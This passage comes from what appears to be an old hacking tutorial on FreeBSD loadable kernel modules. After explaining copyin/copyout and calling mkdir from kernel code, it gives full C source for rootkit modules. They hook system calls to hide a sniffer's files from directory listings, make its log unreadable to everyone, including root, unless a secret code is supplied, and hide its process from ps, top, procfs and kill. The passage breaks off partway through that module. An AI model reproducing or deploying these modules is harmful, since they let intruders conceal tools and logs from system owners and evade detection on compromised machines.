2038 + char *filename + ---------> name
2039 +... + points to an address in
2044 Now what did our system call, take a look at the next image :
2047 user space : one linker_file structure
2048 +++++++++++++++++++++++++
2050 + char *filename + ----
2057 ----------------------------------------------------------------------------
2064 Do you see the problem? The char* filename pointer still points to the old
2065 address in kernel space while the linker_file structure was move to user
2066 space. This means you cannot access any pointer fields in the structures /
2067 lists exported by TheSeeker module. Of course, you could also transform those
2068 address to user space, but that would be too complicated for a beginner
2069 example, so I did not implement it. Of course you can access any other fields
2070 that don't point to some location.
2073 <H3><A NAME="I.8."></A>8. From User to Kernel space and back</h3>
2076 In TheSeeker I introduced some kernel functions that were responsible for user
2077 <-> kernel space transitions. The following list shows all functions that are
2078 important for that task :
2080 <li>int copyin(const void *uaddr, void *kaddr, size_t len);<br>
2081 ->copies len bytes from user space (uaddr) to kernel space (kaddr)<br>
2083 <li>int copyout(const void *kaddr, void *uaddr, size_t len);<br>
2084 ->copies len bytes from kernel space (kaddr) to user space (uaddr)<br>
2086 <li>int copyinstr(const void *uaddr, void *kaddr, size_t len, size_t
2088 ->copies NUL-terminated string, at most len bytes long, fom user
2089 space (uaddr) to kernel space (kaddr). The number of bytes actually copied
2090 is returned in done.<br>
2092 I always used these functions. There are also some other byte-oriented
2093 functions (like fetch etc.) but I nver used them.
2094 The easiest task is to copy from user to kerne space. You have only to provide
2095 a buffer in kernel space. Take a look at the following fragment (taken from
2096 my directory hack) :
2098 /*We need to define M_DIRP2 for allocating some memory in kernel space with
2099 the help of the MALLOC macro*/
2100 MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
2104 struct dirent *dirp2, *dirp3;
2109 MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
2113 /*copy from user space (uap->buf) to kernel space (dirp2) tmp bytes*/
2114 copyin(uap->buf, dirp2, tmp);
2117 Look at the MALLOC man page for more details. Of course you could also use
2118 something like char mem[100]; instead of MALLOC, but malloc is the better
2120 So copyin from user to kernel space a trivial. But what about the other
2121 direction? You have to differentiate between two cases : is there already an
2122 allocated buffer for the process in user space? If so just use copyout and you
2123 are done. But what to do if you don't have a memory buffer in user space. Look
2124 at my solution (I made lots of comments for beginners, please read them :)):
2126 /*This example demonstrates how to use the OBREAK syscall to issue a system
2127 call from kernel mode. I implemented a syscall (offset 210) which will create
2128 a directory (TESTDIR) by using the mkdir syscall. The general problem with
2129 this task is supplying the arguments for mkdir from +user space+.*/
2131 #include <sys/types.h>
2132 #include <sys/param.h>
2133 #include <sys/proc.h>
2134 #include <sys/module.h>
2135 #include <sys/sysent.h>
2136 #include <sys/kernel.h>
2137 #include <sys/systm.h>
2138 #include <sys/linker.h>
2139 #include <sys/sysproto.h>
2140 #include <sys/sysent.h>
2141 #include <sys/proc.h>
2142 #include <sys/syscall.h>
2146 * Shareable process virtual address space.
2147 * May eventually be merged with vm_map.
2148 * Several fields are temporary (text, data stuff).
2151 /*NOTE : I just used some padding stuff, to avoid too much include file
2154 /* struct vm_map vm_map; VM address map */
2156 /* struct pmap vm_pmap; private physical map */
2158 int vm_refcnt; /* number of references */
2159 caddr_t vm_shm; /* SYS5 shared memory private data XXX */
2160 /* we copy from vm_startcopy to the end of the structure on fork */
2161 #define vm_startcopy vm_rssize
2162 segsz_t vm_rssize; /* current resident set size in pages */
2163 segsz_t vm_swrss; /* resident set size before last swap */
2164 segsz_t vm_tsize; /* text size (pages) XXX */
2165 segsz_t vm_dsize; /* data size (pages) XXX */
2166 segsz_t vm_ssize; /* stack size (pages) */
2167 caddr_t vm_taddr; /* user virtual address of text XXX */
2168 caddr_t vm_daddr; /* user virtual address of data XXX */
2169 caddr_t vm_maxsaddr; /* user VA at max stack growth */
2170 caddr_t vm_minsaddr; /* user VA at max stack growth */
2175 /*just a simple syscall handler which will create a dir entry*/
2176 static int user_syscall (struct proc *p, void *arg)
2178 /*example directory we want to create from kernel space via syscall
2179 recall that this string is saved in kernel context and not in user space
2181 char *kernel_name="./TESTDIR\0";
2183 /*this will hold our address in user space (for the directory name)*/
2186 /*one structure for kernel space and one for the user part :
2187 This structure is used by the syscall mkdir for holding the required
2188 arguments (see system call listing)*/
2189 struct mkdir_args kernel_ma;
2190 struct mkdir_args *user_ma;
2192 /*we need to allocate memory, so we use the easiest way : syscall obreak*/
2193 struct obreak_args oa;
2195 /*the process we want to 'abuse' for saving our data in its VM space.
2196 I used curproc which always points to the current process.*/
2197 struct proc *userproc=curproc;
2199 /*NOTE : The following stuff is very experimental !
2204 allocate 4096 bytes of heap memory for the user space args :
2205 ctob : transforms a given page count to the corresponding bytes count;
2206 of course, this calculation depends on the underlying architecture
2207 btoc : this is the counterpart to ctob
2209 oa.nsize=userproc->p_vmspace->vm_daddr+ctob(userproc->p_vmspace->vm_dsize)+
2212 /*this is just for debugging*/
2213 printf("Process ID : %d\n", userproc->p_pid);
2214 printf("OLD DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize));
2215 printf("OBREAK RETURN VALUE : %d\n",obreak(userproc, &oa));
2216 printf("NEW DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize));
2218 /*move our directory name to a random location in the user space data segment
2219 range (within the newly allocated page*/
2220 user_name=oa.nsize-80;
2222 /*use copyout, which is able to copy from kernel to user space*/
2223 copyout(kernel_name, user_name, strlen(kernel_name));
2225 /*just for debugging : where did we save the name in user space?*/
2226 printf("USER NAME ADDRESS : %p\n", user_name);
2228 /*now it gets a bit tricky :
2229 --------------------------
2230 we move the VM address from user space into the kernel_ma.path pointer in
2233 kernel_ma.path=oa.nsize-80;
2235 /*creation mode = 0*/
2238 /*NOW the kernel_ma structure is ok, we can copy this structure to user space
2241 /*select a place (within the allocated page) where to put the user_ma
2243 user_ma=(struct mkdir_args*)oa.nsize-50;
2246 copyout(&kernel_ma, user_ma, sizeof(struct mkdir_args));
2248 /*again some debug messages*/
2249 printf("USER STRUCT ADDRESS : %p\n",user_ma);
2251 /*Issue the mkdir syscall. Did we succeed ? Zero return value stands for
2253 printf("MKDIR RETURN : %d\n", mkdir(userproc, user_ma));
2259 * The `sysent' for the new syscall
2261 static struct sysent user_syscall_sysent = {
2263 user_syscall /* sy_call */
2267 * The offset in sysent where the syscall is allocated.
2270 /*210 is a free slot in FreeBSD 3.1*/
2271 static int offset = 210;
2274 * The function called at load/unload.
2277 load (struct module *module, int cmd, void *arg)
2279 /*no special processing here*/
2283 SYSCALL_MODULE(syscall, &offset, &user_syscall_sysent, load, NULL);
2285 The comments should make everything quite clear. The general idea is to use
2286 the obreak system call to allocate some memory (move the vm_daddr).
2289 <H3><A NAME="I.9."></A>9. Last Words</h3>
2291 I hope you understood the stuff I mentioned in this basic section. It's really
2292 important that you get the general ideas in order to understand part II.<br>
2293 You should take a look at the man pages of section 9. There you can find some
2294 interesting kernel functions that will be useful sometimes.
2297 <H3><A NAME="II."></A>II. Attacking with kernel code</h3>
2299 The general layout of this article is based on my Linux article. Part II Fun
2300 & Profit will deal with ways to attack a FreeBSD system with modules. My Linux
2301 article shows nearly every aspect of attacking a system with kernel code. The
2302 FreeBSD part here is based on the ideas of Linux LKM hacks (I only added some
2303 items special for FreeBSD). This FreeBSD part will only present those modules,
2304 that needed big code/strategy modifications according to the Linux ones.
2307 <H3><A NAME="II.1."></A>1. How to intercept system calls</h3>
2309 Intercepting systemcalls on FreeBSD is nearly the same like doing this on a
2310 Linux Box. Again we start with a very very basic example :
2312 #include <sys/types.h>
2313 #include <sys/param.h>
2314 #include <sys/proc.h>
2315 #include <sys/module.h>
2316 #include <sys/sysent.h>
2317 #include <sys/kernel.h>
2318 #include <sys/systm.h>
2319 #include <sys/linker.h>
2320 #include <sys/sysproto.h>
2321 #include <sys/sysent.h>
2322 #include <sys/proc.h>
2323 #include <sys/syscall.h>
2326 /*The hacked system call*/
2328 hacked_mkdir (struct proc *p, struct mkdir_args *ua)
2330 /*the only thing we do is printing a debug message*/
2331 printf("MKDIR SYSCALL : %s\n", ua->path);
2332 return mkdir(p, ua);
2336 /*the sysentry for the hacked system call. Be careful, argument count must be
2337 same for the hacked and the origanel system call (here 1)*/
2339 static struct sysent
2340 hacked_mkdir_mkdir_sysent = {
2342 hacked_mkdir /* sy_call */
2346 /*our load function*/
2348 dummy_handler (struct module *module, int cmd, void *arg)
2354 /*replace the mkdir syscall with our own*/
2355 sysent[SYS_mkdir]=hacked_mkdir_mkdir_sysent;
2358 /*argument count has not changed, so we only need to restore the
2360 sysent[SYS_mkdir].sy_call=(sy_call_t*)mkdir;
2369 static moduledata_t syscall_mod = {
2375 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
2378 As you can see you don't have to save the old sysent entry, you just refer to
2379 the original system call function (no problems like those we had with Linux
2380 concerning public and private kernel items).<br>
2381 Compile this module (as always take the Makefile from part I) and load it.
2382 Every mkdir system call will produce a nice debug message. <br>
2383 For those who don't know which system call to intercept, again : read my Linux
2384 article. On FreeBSD ktrace can be quite useful.
2387 <H3><A NAME="II.2."></A>2. Filesystem related hacks</h3>
2389 Like the Linux one, we first start with filesystem hacks. They are really
2390 important for hiding our tools & logs.
2393 <H3><A NAME="II.2.1."></A>2.1. How to hide files</h3>
2396 The following module represents the getdirentries hack that will hide a certain
2397 file from directory listings made by commands like 'ls' :<br>
2399 In Phrack (Volume 7, Issue 51 September 01, 1997, article 09) halflife already
2400 presented a nice hack for this problem. It was implemented under FreeBSD 2.2
2401 using the LKM scheme. He used a very short and good way to manage file hiding.
2402 My code below does the same stuff for FreeBSD 3.x systems. My approach is not
2403 so short, because I did user <-> kernel space transitions for clearness. The
2404 whole thing would also work without this stuff, but my module can easily be
2405 extended to do other things, because all relevant structures are copied to
2406 kernel space so you can modify them how ever you want before they are copied
2410 #include <sys/types.h>
2411 #include <sys/param.h>
2412 #include <sys/proc.h>
2413 #include <sys/module.h>
2414 #include <sys/sysent.h>
2415 #include <sys/kernel.h>
2416 #include <sys/systm.h>
2417 #include <sys/linker.h>
2418 #include <sys/sysproto.h>
2419 #include <sys/sysent.h>
2420 #include <sys/proc.h>
2421 #include <sys/syscall.h>
2422 #include <sys/file.h>
2423 #include <sys/malloc.h>
2424 #include <sys/types.h>
2428 /*We need to define M_DIRP2 for allocating some memory in kernel space with
2429 the help of the MALLOC macro*/
2430 MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
2433 /*This hack is based on the getdents idea from some linux LKMs. FreeBSD is
2434 a bit more tricky, but it works.*/
2436 hacked_getdirentries (struct proc *p, struct getdirentries_args *uap)
2438 unsigned int tmp, n, t;
2439 struct dirent *dirp2, *dirp3;
2441 /*The file we want to hide : The name must match exactly !*/
2442 char hide[]="sniffer";
2444 /*just issue the syscall*/
2445 getdirentries(p,uap);
2447 /*this is the way BSD returns status values to the process issueing the
2454 MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
2455 /*copy the dirent structure for user space in our kernel space*/
2456 copyin(uap->buf, dirp2, tmp);
2458 /*dirp3 points to dirp2*/
2463 /*In this loop we check for every dirent structure in the user buffer*/
2466 n = dirp3->d_reclen;
2468 /*Do we have the entry for our file to hide*/
2469 if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
2473 /*ATTENTION : Do not use something like strcpy or so. bcopy is able to
2474 handle overlapping memroy locations, so this is our choice*/
2475 bcopy((char*)dirp3+n,dirp3, t);
2477 /*the dirent structure list is shorter now*/
2480 /*The following piece of code is necessary, because we get one dirent entry
2481 with d_reclen=0, if we would not implement this, we would get an infinite
2483 if (dirp3->d_reclen==0)
2488 /*as long as there is something to copy, do it*/
2490 /*get the next pointer from the dirent structure list*/
2491 dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
2493 /*we must decrement the getdirentries user call return value, if we changed
2497 /*copy the whole (perhaps modified) memory back to the user buffer*/
2498 copyout(dirp2, uap->buf, tmp);
2500 /*free kernel memory*/
2501 FREE(dirp2, M_DIRP2);
2503 /*everything ok, so return 0*/
2507 /*the hacked getdirentries syscall*/
2508 static struct sysent hacked_getdirentries_sysent = {
2510 hacked_getdirentries /* sy_call */
2516 * The function called at load/unload.
2519 dummy_handler (struct module *module, int cmd, void *arg)
2525 /*replace the getdirentries syscall with our own*/
2526 sysent[196]=hacked_getdirentries_sysent;
2529 /*argument count has not changed, so we only need to restore the
2531 sysent[196].sy_call=(sy_call_t*)getdirentries;
2540 /*you will recognize that this part is the same (I only changed the module
2541 name) for every module I present.*/
2542 static moduledata_t syscall_mod = {
2548 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
2550 The general idea is the same for FreeBSD and Linux, but there are some
2551 differences concerning the coding. Especially the return value modification
2552 must be done in a different way. My comments should be clear, so try it.
2555 <H3><A NAME="II.2.2."></A>2.2 How to hide the file contents</h3>
2557 The following implementation is an extension to the Linux one. The Linux module
2558 was hiding a file contents so that a 'cat filename' returned with a 'file does
2559 not exist' errror. I implemented no way for you (hacker) to access this file, I
2560 only suggested some methods how to do it. The following module also implements
2561 a way to access it by you :
2563 /*This module demonstrates how to make a file unaccessible. It has a
2564 authentication scheme which allows someone using the correct password (here
2565 007) to access the file. Only this user (represented by UID) can access it
2566 later. The password (007) is given through a newly defined syscall.*/
2568 #include <sys/types.h>
2569 #include <sys/param.h>
2570 #include <sys/proc.h>
2571 #include <sys/module.h>
2572 #include <sys/sysent.h>
2573 #include <sys/kernel.h>
2574 #include <sys/systm.h>
2575 #include <sys/linker.h>
2576 #include <sys/sysproto.h>
2577 #include <sys/sysent.h>
2578 #include <sys/proc.h>
2579 #include <sys/syscall.h>
2580 #include <sys/file.h>
2581 #include <sys/malloc.h>
2582 #include <sys/types.h>
2585 /*this variable will hold the UID of the user who issued the system call with
2588 uid_t access_uid=-1;
2590 /*code for authentication*/
2596 * Shareable process virtual address space.
2597 * May eventually be merged with vm_map.
2598 * Several fields are temporary (text, data stuff).
2601 /*NOTE : I just used some padding stuff, to avoid too much include file
2604 /* struct vm_map vm_map; VM address map */
2606 /* struct pmap vm_pmap; private physical map */
2608 int vm_refcnt; /* number of references */
2609 caddr_t vm_shm; /* SYS5 shared memory private data XXX */
2610 /* we copy from vm_startcopy to the end of the structure on fork */
2611 #define vm_startcopy vm_rssize
2612 segsz_t vm_rssize; /* current resident set size in pages */
2613 segsz_t vm_swrss; /* resident set size before last swap */
2614 segsz_t vm_tsize; /* text size (pages) XXX */
2615 segsz_t vm_dsize; /* data size (pages) XXX */
2616 segsz_t vm_ssize; /* stack size (pages) */
2617 caddr_t vm_taddr; /* user virtual address of text XXX */
2618 caddr_t vm_daddr; /* user virtual address of data XXX */
2619 caddr_t vm_maxsaddr; /* user VA at max stack growth */
2620 caddr_t vm_minsaddr; /* user VA at max stack growth */
2624 /*arguments for the check_code system call*/
2625 struct check_code_args {
2629 /*after this check only the one who issued the syscall from user space is able
2630 to access the file/directory or whatever (only this UID can access it). Of
2631 course, before, he must supply the correct code.*/
2634 void check_code(struct proc *p, struct check_code_args *uap)
2636 if (uap->code==CODE)
2637 access_uid=p->p_cred->pc_ucred->cr_uid;
2643 /*the hacked open syscall*/
2645 int hacked_open(struct proc *p, struct open_args *uap)
2648 /*the file we want to hide*/
2649 char hide_name[]="sniffer.log";
2653 copyinstr(uap->path, name, 255, &done);
2654 /*do we have the right file name?*/
2655 if (strcmp((char*)&name, (char*)&hide_name)==0)
2657 /*does this user have the right to access the file*/
2658 if (access_uid==p->p_cred->pc_ucred->cr_uid)
2660 /*if so, do a normal open*/
2661 return open(p, uap);
2663 /*no he has not got the right*/
2665 /*standing for 'no such file or directory*/
2668 /*if we don't have our file, just continue*/
2669 return open(p, uap);
2673 /*the hacked open syscall*/
2674 static struct sysent hacked_open_sysent = {
2676 hacked_open /* sy_call */
2680 /*check code sysentry*/
2681 static struct sysent check_code_sysent = {
2687 * The function called at load/unload.
2690 dummy_handler (struct module *module, int cmd, void *arg)
2695 /*replace the open syscall with our own*/
2696 sysent[SYS_open]=hacked_open_sysent;
2697 /*install check code system call (slot/number 210)*/
2698 sysent[210]=check_code_sysent;
2701 /*argument count has not changed, so we only need to restore the
2703 sysent[SYS_open].sy_call=(sy_call_t*)open;
2713 static moduledata_t syscall_mod = {
2719 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
2722 The open hack in general should be clear. If we have our filename we just
2723 return 'no such file...'. The solution I present to access this file via an
2724 authentication scheme is quite powerful. The user space program is very easy,
2725 just issue a system call with syscall() with the correct code (I won't present
2726 code because it's really too easy).<br>
2727 After providing the correct code only you (your UID) has access to this file.
2728 Even root cannot access it (he will also get 'no such file...').
2731 <H3><A NAME="II.2.3."></A>2.3 And the rest?</h3>
2733 Those who read my Linux LKM article will recognize that I explained more hacks
2734 (like file operation redirection, mkdir interception etc.). Why don't I
2735 present them here? Because these hacks are trivial to implement after the
2736 things I said already.
2739 <H3><A NAME="II.3."></A>3. Process related hacks</h3>
2741 This section will introduce some modules making it possible to hide any
2742 process and install a backdoor rootshell.
2745 <H3><A NAME="II.3.1."></A>3.1 How to hide any process</h3>
2747 Well, I have to admit that it wasn't very easy to make this possible on
2748 FreeBSD. And the following solution is quite experimental (but working, of
2749 course). You have to know that FreeBSD uses the so called KVM library to get
2750 information on the processes of the system (it is a library interface to the
2751 allproc and zombroc lists). Besides this, commands like top also use the
2752 procfs. This means we have to attack two points. Hiding an entry from the
2753 procfs is easy (just hide the PID from getdirentries), but what about the KVM
2754 lib. Let me explain some words. The following explaination makes things easier
2755 than they are in reality, but it's enough for a general understanding.
2756 We start with a code snippet from the 'ps' command :
2761 if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0)
2762 errx(1, "%s", kvm_geterr(kd));
2764 if ((kinfo = malloc(nentries * sizeof(*kinfo))) == NULL)
2766 printf("SIZE %d\n", nentries*sizeof(*kinfo));
2767 for (i = nentries; --i >= 0; ++kp) {
2770 saveuser(&kinfo[i]);
2771 dynsizevars(&kinfo[i]);
2785 qsort(kinfo, nentries, sizeof(KINFO), pscomp);
2787 * for each proc, call each variable output function.
2789 for (i = lineno = 0; i < nentries; i++) {
2790 if (xflg == 0 && (KI_EPROC(&kinfo[i])->e_tdev == NODEV ||
2791 (KI_PROC(&kinfo[i])->p_flag & P_CONTROLT ) == 0))
2793 for (vent = vhead; vent; vent = vent->next) {
2794 (vent->var->oproc)(&kinfo[i], vent);
2795 if (vent->next != NULL)
2798 (void)putchar('\n');
2799 if (prtheader && lineno++ == prtheader - 4) {
2800 (void)putchar('\n');
2807 There is only one line interesting for us :
2809 if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0)
2814 what=KERN_PROC_ALL for commands like 'ps' flag=0<br>
2815 what=KERN_PRC_PID for commands like 'ps PID' flag=PID<br>
2817 The kvm_getprocs function (from the KVM lib) is the user space interface to
2818 access the kernel process lists. So let's take a look at this function in the
2822 kvm_getprocs(kd, op, arg, cnt)
2827 int mib[4], st, nprocs;
2830 if (kd->procbase != 0) {
2831 free((void *)kd->procbase);
2833 * Clear this pointer in case this call fails. Otherwise,
2834 * kvm_close() will free it again.
2844 st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4, NULL, &size, NULL, 0);
2846 _kvm_syserr(kd, kd->program, "kvm_getprocs");
2851 kd->procbase = (struct kinfo_proc *)
2852 _kvm_realloc(kd, kd->procbase, size);
2853 if (kd->procbase == 0)
2855 st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4,
2856 kd->procbase, &size, NULL, 0);
2857 } while (st == -1 && errno == ENOMEM);
2859 _kvm_syserr(kd, kd->program, "kvm_getprocs");
2862 if (size % sizeof(struct kinfo_proc) != 0) {
2863 _kvm_err(kd, kd->program,
2864 "proc size mismatch (%d total, %d chunks)",
2865 size, sizeof(struct kinfo_proc));
2868 nprocs = size / sizeof(struct kinfo_proc);
2870 struct nlist nl[4], *p;
2872 nl[0].n_name = "_nprocs";
2873 nl[1].n_name = "_allproc";
2874 nl[2].n_name = "_zombproc";
2877 if (kvm_nlist(kd, nl) != 0) {
2878 for (p = nl; p->n_type != 0; ++p)
2880 _kvm_err(kd, kd->program,
2881 "%s: no such symbol", p->n_name);
2884 if (KREAD(kd, nl[0].n_value, &nprocs)) {
2885 _kvm_err(kd, kd->program, "can't read nprocs");
2888 size = nprocs * sizeof(struct kinfo_proc);
2889 kd->procbase = (struct kinfo_proc *)_kvm_malloc(kd, size);
2890 if (kd->procbase == 0)
2893 nprocs = kvm_deadprocs(kd, op, arg, nl[1].n_value,
2894 nl[2].n_value, nprocs);
2896 size = nprocs * sizeof(struct kinfo_proc);
2897 (void)realloc(kd->procbase, size);
2901 return (kd->procbase);
2904 Look at the ISALIVE if construct. Here the library call decides wether it looks
2905 for 'living' procs (->allprocs list) or 'dead' procs (->zombrocs). My further
2906 explaination (and module) is based on a 'living' process (what worth is a
2907 'dead' sniffer ?). So let's take a look at that case.<br>
2908 First of all a MIB array is constructed where the operation (op) and an
2909 argument (arg) is inserted. The other two fields are predefined. The op field
2910 is equal to the what value from the ps program (KERN_PROC_ALL, for example)
2911 and the arg field is equal to the flag variable in ps.c (1 or 0). After this
2912 a sysctl is issued with the corresponding MIB.<br>
2913 This sysctl call finally reaches sysctl_kern_proc :
2916 sysctl_kern_proc SYSCTL_HANDLER_ARGS
2918 int *name = (int*) arg1;
2919 u_int namelen = arg2;
2924 if (oidp->oid_number == KERN_PROC_PID) {
2927 p = pfind((pid_t)name[0]);
2930 error = sysctl_out_proc(p, req, 0);
2933 if (oidp->oid_number == KERN_PROC_ALL && !namelen)
2935 else if (oidp->oid_number != KERN_PROC_ALL && namelen == 1)
2941 /* overestimate by 5 procs */
2942 error = SYSCTL_OUT(req, 0, sizeof (struct kinfo_proc) * 5);
2946 for (doingzomb=0 ; doingzomb < 2 ; doingzomb++) {
2948 p = allproc.lh_first;
2950 p = zombproc.lh_first;
2951 for (; p != 0; p = p->p_list.le_next) {
2953 * Skip embryonic processes.
2955 if (p->p_stat == SIDL)
2958 * TODO - make more efficient (see notes below).
2961 switch (oidp->oid_number) {
2963 case KERN_PROC_PGRP:
2964 /* could do this by traversing pgrp */
2965 if (p->p_pgrp == NULL ||
2966 p->p_pgrp->pg_id != (pid_t)name[0])
2971 if ((p->p_flag & P_CONTROLT) == 0 ||
2972 p->p_session == NULL ||
2973 p->p_session->s_ttyp == NULL ||
2974 p->p_session->s_ttyp->t_dev != (dev_t)name[0])
2979 if (p->p_ucred == NULL ||
2980 p->p_ucred->cr_uid != (uid_t)name[0])
2984 case KERN_PROC_RUID:
2985 if (p->p_ucred == NULL ||
2986 p->p_cred->p_ruid != (uid_t)name[0])
2991 error = sysctl_out_proc(p, req, doingzomb);
2999 This function first checks whether we want information on all processes
3000 (KERN_ALL_PROCS) or on a single process (KERN_PROC_PID). This means our hack
3001 also must handle these two cases. The rest of the function is quite obvious.
3002 The allproc data is collected and copied in the user space buffer. The last
3003 sysctl_out_proc() function does the rest :
3007 sysctl_out_proc(struct proc *p, struct sysctl_req *req, int doingzomb)
3011 pid_t pid = p->p_pid;
3013 fill_eproc(p, &eproc);
3014 error = SYSCTL_OUT(req,(caddr_t)p, sizeof(struct proc));
3017 error = SYSCTL_OUT(req,(caddr_t)&eproc, sizeof(eproc));
3020 if (!doingzomb && pid && (pfind(pid) != p))
3022 if (doingzomb && zpfind(pid) != p)
3027 This will set return code and move the memory. That's all.
3028 [A big SORRY to all kernel freaks, but explaining all this in more detail would
3029 produce 100 pages and more... ]. <br>
3030 My module also handles the kill signal just to demonstrate that it is also
3031 possible to intercept any signal calls to the PID of the process we want to
3032 hide. Recall that hiding does not mean that signals can't reach our process !
3033 Here is my module :<br>
3035 /*This module shows how to hide any process from commands like 'ps' or 'top'.
3036 Recall that BSD uses the so called kvm library which uses special MIBs
3037 with sysctl commands, to get access to the kernel 'allproc' and 'zombroc' list
3038 from user space. Linux only relies on the procfs, so BSD is a bit harder to
3042 1 - This module hides a certain process from proc lists produced by ps or top
3043 2 - This module hides a certain process from direct calls like 'ps PID'
3044 3 - This module intercepts the kill syscall in order to avoid killing our
3045 process we want to hide (the kill is just an add-on, normally you are
3046 secure enough with the points 1,2 and 4)
3047 4 - This module hides the proc entry from the procfs
3050 #include <sys/types.h>
3051 #include <sys/param.h>
3052 #include <sys/proc.h>
3053 #include <sys/module.h>
3054 #include <sys/sysent.h>
3055 #include <sys/kernel.h>
3056 #include <sys/systm.h>
3057 #include <sys/linker.h>
3058 #include <sys/sysproto.h>
3059 #include <sys/sysent.h>
3060 #include <sys/proc.h>
3061 #include <sys/syscall.h>
3062 #include <sys/file.h>
3063 #include <sys/malloc.h>
3064 #include <sys/types.h>
3065 #include <sys/queue.h>
3067 #include <sys/sysctl.h>
3069 /*exact name of the process (+arguments) we want to hide*/
3070 #define HIDE_PROC "sniffer"
3072 /*this structure is used by BSD to describe a process for user space programs*/
3074 struct proc kp_proc; /* proc structure */
3076 struct proc *e_paddr; /* address of proc */
3077 struct session *e_sess; /* session pointer */
3078 struct pcred e_pcred; /* process credentials */
3079 struct ucred e_ucred; /* current credentials */
3080 struct procsig e_procsig; /* shared signal structure */
3082 /*struct vmspace e_vm; address space */
3084 pid_t e_ppid; /* parent process id */
3085 pid_t e_pgid; /* process group id */
3086 short e_jobc; /* job control counter */
3087 dev_t e_tdev; /* controlling tty dev */
3088 pid_t e_tpgid; /* tty process group id */
3089 struct session *e_tsess; /* tty session pointer */
3091 char e_wmesg[WMESGLEN+1]; /* wchan message */
3092 segsz_t e_xsize; /* text size */
3093 short e_xrssize; /* text rss */
3094 short e_xccount; /* text references */
3097 #define EPROC_CTTY 0x01 /* controlling tty vnode active */
3098 #define EPROC_SLEADER 0x02 /* session leader */
3099 char e_login[roundup(MAXLOGNAME, sizeof(long))]; /* setlogin() name */
3104 /*we need this counter to get the right sysctl call*/
3108 /*We need to define M_DIRP2 for allocating some memory in kernel space with
3109 the help of the MALLOC macro*/
3110 MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
3113 /*This function returns the PID of the process we want to hide*/
3120 for (; p!=0; p=p->p_list.le_next)
3122 /*p->p_comm holds the process name*/
3123 if (strcmp(p->p_comm, HIDE_PROC)==0)
3131 /*nothing big, but for demonstration*/
3133 hacked_kill(struct proc *p, struct kill_args *uap)
3135 if (uap->pid==get_pid())
3138 return kill(p, uap);
3141 /*the BIG sysctl hack :)*/
3143 hacked_sysctl(struct proc *p, struct sysctl_args *uap)
3145 /*this will hold the MIB values*/
3147 size_t size, newsize;
3148 /*this will hold the kinfo_proc structures in our kernel space*/
3149 struct kinfo_proc kpr;
3150 /*just some stuff we need*/
3153 /*call sysctl, and get return value*/
3154 tmp= __sysctl(p, uap);
3156 /*grab the MIB from user space*/
3157 copyin(uap->name, &mib, sizeof(mib));
3159 /*Did someone issue something like 'ps PID' -> in order to get information
3160 on a certain single process ? If so we need to handle this. Attention :
3161 I skipped checkin' the first two mib[] fields, again I'm lazy :)*/
3162 if (mib[2]==KERN_PROC_PID)
3164 /*Does he want to get info on our process ?*/
3165 if (mib[3]==get_pid())
3167 /*If so we return a size value of 0 standing for no such process*/
3169 /*copy to user space*/
3170 copyout(&size, uap->oldlenp, sizeof(size));
3175 /*otherwise display the reqeuested information*/
3179 /*the following code will handle calls like 'ps' and 'top' with ALL PROCS
3181 /*ok, we need to check the MIB for 'hacking' the real sysctl
3182 our first check is it CTL_KERN*/
3183 if (mib[0]==CTL_KERN)
3185 /*our second check is it KERN_PROC*/
3186 if (mib[1]==KERN_PROC)
3188 /*our third check : is it the second sysctl (not the one retrieving the
3189 kinfo_proc structure list size ?*/
3192 /*only catch the first call*/
3193 if (global_counter==0)
3196 /*now it's time to check for our PID we want to hide*/
3197 /*NOTE : Here we check the memory region in user space for a kinfo_proc
3198 structure with the needed PID*/
3199 for (counter=0;(counter*sizeof(kpr)<=size); counter++)
3201 /*copy from user to kernel space*/
3202 copyin(uap->old+counter*sizeof(kpr), &kpr, sizeof(kpr));
3203 /*do we have our PID ?*/
3204 if (kpr.kp_proc.p_pid==get_pid())
3206 /*YES, so patch the size of the memory region (decrement by one
3207 kinfo_proc structure)*/
3208 newsize=size-sizeof(kpr);
3209 /*'overlap' the memory, so we 'cut' our entry out*/
3210 bcopy(uap->old+(counter+1)*sizeof(kpr), uap->old+counter*sizeof(kpr),
3211 size-(counter+1)*sizeof(kpr));
3215 /*set the new size*/
3216 copyout(&newsize, uap->oldlenp, sizeof(size));
3217 /*and finally return*/
3221 /*we have the sysctl call, that requests the memory size of the kinfo_proc
3223 /*if uap->old == NULL, then the user requests the process count*/
3226 /*we also need the size (count), so get it*/
3227 copyin(uap->oldlenp, &size, sizeof(size));
3228 /*in sys/kern/kern_proc.c BSD uses a size overestimated by 5 structures,
3229 so we need to correct (decrease) that*/
3230 size-=sizeof(kpr)*5;
3232 /*set global_counter to 0 for catching the only next sysctl*/
3239 /*Normal getdirentries hack for hiding the process from procfs*/
3241 hacked_getdirentries (struct proc *p, struct getdirentries_args *uap)
3243 unsigned int tmp, n, t;
3244 struct dirent *dirp2, *dirp3;
3246 /*The file we want to hide : The name must match exactly !*/
3250 /*copy the HIDE_PROC number into the hide string*/
3251 sprintf(hide, "%d", get_pid());
3253 /*just issue the syscall*/
3254 getdirentries(p,uap);
3256 /*this is the way BSD returns status values to the process issueing the
3263 MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
3264 /*copy the dirent structure for user space in our kernel space*/
3265 copyin(uap->buf, dirp2, tmp);
3267 /*dirp3 points to dirp2*/
3272 /*In this loop we check for every dirent structure in the user buffer*/
3275 n = dirp3->d_reclen;
